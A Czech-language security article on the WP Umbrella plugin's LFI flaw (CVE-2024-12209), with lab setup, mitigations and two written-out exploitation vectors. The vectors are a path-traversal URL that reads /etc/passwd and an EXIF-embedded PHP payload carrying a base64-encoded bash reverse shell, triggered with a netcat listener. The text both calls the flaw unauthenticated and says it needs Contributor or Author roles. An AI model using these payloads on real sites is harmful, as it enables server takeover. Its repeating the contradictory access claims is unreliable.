# Kritická LFI zranitelnost v WP Umbrella umožňuje RCE na WordPress webech
V pluginu WP Umbrella, používaném na více než 30 000 WordPressových webech, byla objevena LFI zranitelnost s CVSS 9.8 (CVE-2024-12209). Ta postihuje endpoint umbrella-restore prostřednictvím parametru filename, což neověřeným uživatelům umožňuje provádět vzdálené spouštění kódu (RCE) bez autentifikace.
Plugin je určen k centralizovanému monitorování a správě více WordPressových webech, což ho činí oblíbeným mezi agenturami a freelancery. Zranitelnost je využívána dynamickým zahrnutím souborů bez validace cesty.
Nastavení testovacího prostředí
Pro reprodukci je potřeba lokální stack LAMP/XAMPP s PHP a MySQL. Instalace WordPress:
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs
Dále spusťte instalátor na adrese http://127.0.0.1/wordpress. Nainstalujte plugin WP Umbrella v zranitelné verzi.
Mechanismus LFI v umbrella-restore
Zranitelnost vzniká kvůli absenci sanitizace parametru filename v PHP funkcích include/require. Útočník může specifikovat cestu k libovolnému souboru na serveru.
Vektor 1: Přímé čtení systémových souborů (role „Přispěvatel“)
Pro roli bez práv na nahrávání médií se používá obcházení přes path traversal:
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
To umožňuje vypsat obsah /etc/passwd bez dalších privilegií.
Vektor 2: RCE přes injekci do EXIF metadat (role „Autor“)
- Vytvořte JPG soubor s PHP payloadem v EXIF komentáři:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
- Nahrajte soubor přes admin: Média → Přidat nové.
- Zkopírujte URL nahrání souboru, např.
/wp-content/uploads/2024/12/maxresdefault.jpg.
- Spusťte Netcat posluchač:
nc -lvnp 4444
- Využijte LFI:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg
Payload se provede a nastaví reverse shell na port 4444.
Doporučení k ochraně
- Aktualizujte plugin WP Umbrella na opravenou verzi.
- Implementujte WAF s pravidly proti path traversal (ModSecurity OWASP CRS).
- Zakažte přístup k
umbrella-restorepro neověřené uživatele. - Používejte
open_basedirv php.ini k omezení přístupu k souborovému systému. - Pravidelně skenujte na LFI pomocí Burp Suite nebo Nuclei.
Co je důležité
- Zranitelnost CVSS 9.8 umožňuje RCE bez autentifikace na 30 000+ webech.
- Dva vektory: přímé LFI a injekce přes EXIF do nahranych mediálních souborů.
- Exploitace vyžaduje pouze přístup k frontendu, role „Přispěvatel“ nebo vyšší.
- Patch je povinný; bez něj je možný útok na server a únik dat.
- Testujte v izolovaném prostředí, vyhněte se produkci.
— Editorial Team
Zatím žádné komentáře.